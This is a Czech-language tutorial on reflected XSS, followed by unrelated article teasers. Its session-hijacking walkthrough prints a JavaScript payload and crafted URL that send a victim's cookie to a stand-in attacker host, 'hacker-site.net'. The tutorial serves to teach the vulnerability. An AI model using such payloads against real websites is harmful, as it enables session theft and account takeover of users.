Web7: XSS Exploits – Část 1: Reflected XSS

Web7: XSS Exploits – Část 1: Reflected XSS

Co je to Cross-Site Scripting?

Cross-Site Scripting (XSS) je dnes jedna z nejpopulárnějších útočných technik, známá jako Godfather of Attack a po mnoho let je uváděna jako nejnebezpečnější útočná technika pro aplikace.

Neříkejte tomu zkráceně CSS, aby nedošlo k záměně s konceptem kaskádových stylů HTML
Technika
XSS je založena na vkládání nebezpečných skriptů do zdrojového kódu webové aplikace. Spuštění škodlivého kódu Javascript k převzetí přihlašovací relace uživatele.

Pro lepší pochopení se podívejme na následující příklad. Webová aplikace, která umožňuje tisk hodnoty, kterou předáme prostřednictvím adresy URL, za předpokladu, že do proměnné name předáme hodnotu Ping:

Web7: XSS Exploits – Část 1: Reflected XSS

Vše je zatím v pořádku, podívejme se na zdrojový kód html:

Web7: XSS Exploits – Část 1: Reflected XSS

Je snadné vidět, že hodnota názvu, kterou jsme zadali, byla vložena do zdrojového kódu. Je tedy možné, že cokoli je importováno, lze také vložit. Problém se stává vážným, pokud zadaná hodnota není normální řetězec jako výše, ale potenciálně nebezpečný kus kódu, něco takového:

 

Zkuste to znovu s výše uvedenou hodnotou:

Web7: XSS Exploits – Část 1: Reflected XSS

Z tohoto příkladu můžeme vyvodit dvě věci. Za prvé, proměnná name může přijmout libovolnou vstupní hodnotu a přenést ji na server ke zpracování. Za druhé, server tuto vstupní hodnotu nekontroloval, než ji vrátil prohlížeči. To vede k vložení kódu javascriptu do zdrojového kódu.

XSS se obecně dělí na 3 hlavní typy: Reflected, Stored a DOM based. V tomto článku zmíním především techniku ​​Reflected XSS.

Až 75 % technik XSS je založeno na Reflected XSS. Říká se tomu reflektované, protože v tomto typu scénáře zneužití musí hacker poslat oběti adresu URL obsahující škodlivý kód (obvykle javascript). Oběť stačí požádat o tuto adresu URL a hacker okamžitě obdrží odpověď obsahující požadovaný výsledek (zde zobrazena reflexivita). Kromě toho je také známý jako XSS prvního řádu.

Skutečný scénář těžby

Existuje mnoho způsobů, jak využít chybu Reflected XSS, jedním z nejznámějších způsobů je převzít relaci uživatele, a tím získat přístup k datům a získat jeho práva na webu.

Podrobnosti jsou popsány v následujících krocích:

Web7: XSS Exploits – Část 1: Reflected XSS

1. Uživatel se přihlásí na web a předpokládá, že je přiřazena relace:

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

2. Hacker nějakým způsobem odešle uživateli adresu URL:

http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;

Předpokládejme, že example.com je web, který oběť navštíví, hacker-site.net je web vytvořený hackerem

3. Oběť přistoupí na výše uvedenou adresu URL

4. Server odpoví oběti spolu s daty obsaženými v požadavku (úryvek javascriptu hackera)

5. Prohlížeč oběti obdrží odpověď a spustí javascript

6. Skutečný javascript, který hacker vytvořil, je následující:

var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

Výše uvedený příkazový řádek v podstatě odešle požadavek na web hackera s parametrem cookie uživatele:

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net

7. Hacker z vašeho webu zachytí výše uvedený obsah požadavku a považuje relaci uživatele za převzatou. V tomto okamžiku se hacker může vydávat za oběť a uplatňovat všechna práva na webových stránkách, které oběť má.

Praxe

Google vytvořil stránku pro procvičování zneužití XSS chyb zde: https://xss-game.appspot.com

Cílem těchto výzev je, že musíte vložit skripty, aby se objevilo vyskakovací okno. První výzvou je ilustrovat reflektovanou techniku, kód využití je poměrně jednoduchý:

https://xss-game.appspot.com/level1/frame?query=alert('pwned')

Hodně štěstí!


Nastavte router Linksys se statickou IP adresou

Nastavte router Linksys se statickou IP adresou

Statická IP adresa je pevná IP adresa nakonfigurovaná v nastavení počítače nebo routeru. Někteří poskytovatelé internetových služeb (ISP) vyžadují zadání statické IP adresy na vašem počítači nebo nastavení TCP/IP routeru, abyste se mohli připojit k internetu.

Jak odstranit prohlížeč únosce PublicBoardSearch

Jak odstranit prohlížeč únosce PublicBoardSearch

Podle způsobu infekce patří PublicBoardSearch do kategorie únosců prohlížeče. Jedná se o typ malwaru navržený tak, aby převzal nastavení známého prohlížeče.

Kolekce tapet Apex Legends s vysokým rozlišením pro počítače

Kolekce tapet Apex Legends s vysokým rozlišením pro počítače

Kolekce tapet s vysokým rozlišením pro uživatele počítačů a notebooků s plným rozlišením od Full HD po 4K.

Co je Localhost? Jak se Localhost liší od 127.0.0.1?

Co je Localhost? Jak se Localhost liší od 127.0.0.1?

Unixový systém, také známý jako „loopback“, může sám sobě posílat a přijímat síťovou komunikaci přes virtuální síťové zařízení. Počítač může posílat zprávy sám sobě, což umožňuje komunikaci bez aktivní sítě.

5 důvodů, proč je v pořádku používat bezplatný antivirový software

5 důvodů, proč je v pořádku používat bezplatný antivirový software

Pravděpodobně jste slyšeli rčení, že dostanete to, za co zaplatíte, ale co když dojde na antivirový software? Měli byste si raději koupit softwarové balíčky, než se rozhodnout pro bezplatná řešení ochrany? Možná tomu tak není a zde je důvod!

Jaký je rozdíl mezi antivirovým softwarem pro Windows a Mac?

Jaký je rozdíl mezi antivirovým softwarem pro Windows a Mac?

V dnešním článku Quantrimang shrne oblíbené značky antivirového softwaru na trhu a zjistí, jak se liší mezi Windows PC a macOS.

4 věci, které uživatelé chtějí vidět ve Windows v roce 2021

4 věci, které uživatelé chtějí vidět ve Windows v roce 2021

Není jasné, co Sun Valley přinese kromě změn a vylepšení uživatelského rozhraní nejvyšší úrovně. Zde je tedy to, co uživatelé doufají, že uvidí od velké aktualizace systému Windows 10 Sun Valley, která bude uvedena v příštím roce.

Jak opravit chybu Spustit jako správce nefunguje ve Windows

Jak opravit chybu Spustit jako správce nefunguje ve Windows

Systém Windows poskytuje možnost Spustit jako správce, která uživatelům umožňuje spouštět aplikace a programy s oprávněními správce. Můžete jej také použít k odstraňování problémů s počítačem. Ale co když tato funkce nefunguje a odebere vám práva správce?

Jak opravit chyby při opravě disku v systému Windows

Jak opravit chyby při opravě disku v systému Windows

Chyby související s jednotkou vašeho počítače mohou zabránit správnému spuštění systému a omezit přístup k vašim souborům a aplikacím.

Modular Malware – Nová metoda tajného útoku ke krádeži dat

Modular Malware – Nová metoda tajného útoku ke krádeži dat

Některé varianty malwaru mohou používat různé moduly ke změně toho, jak ovlivňují cílový systém. Co je tedy modulární malware a jak funguje?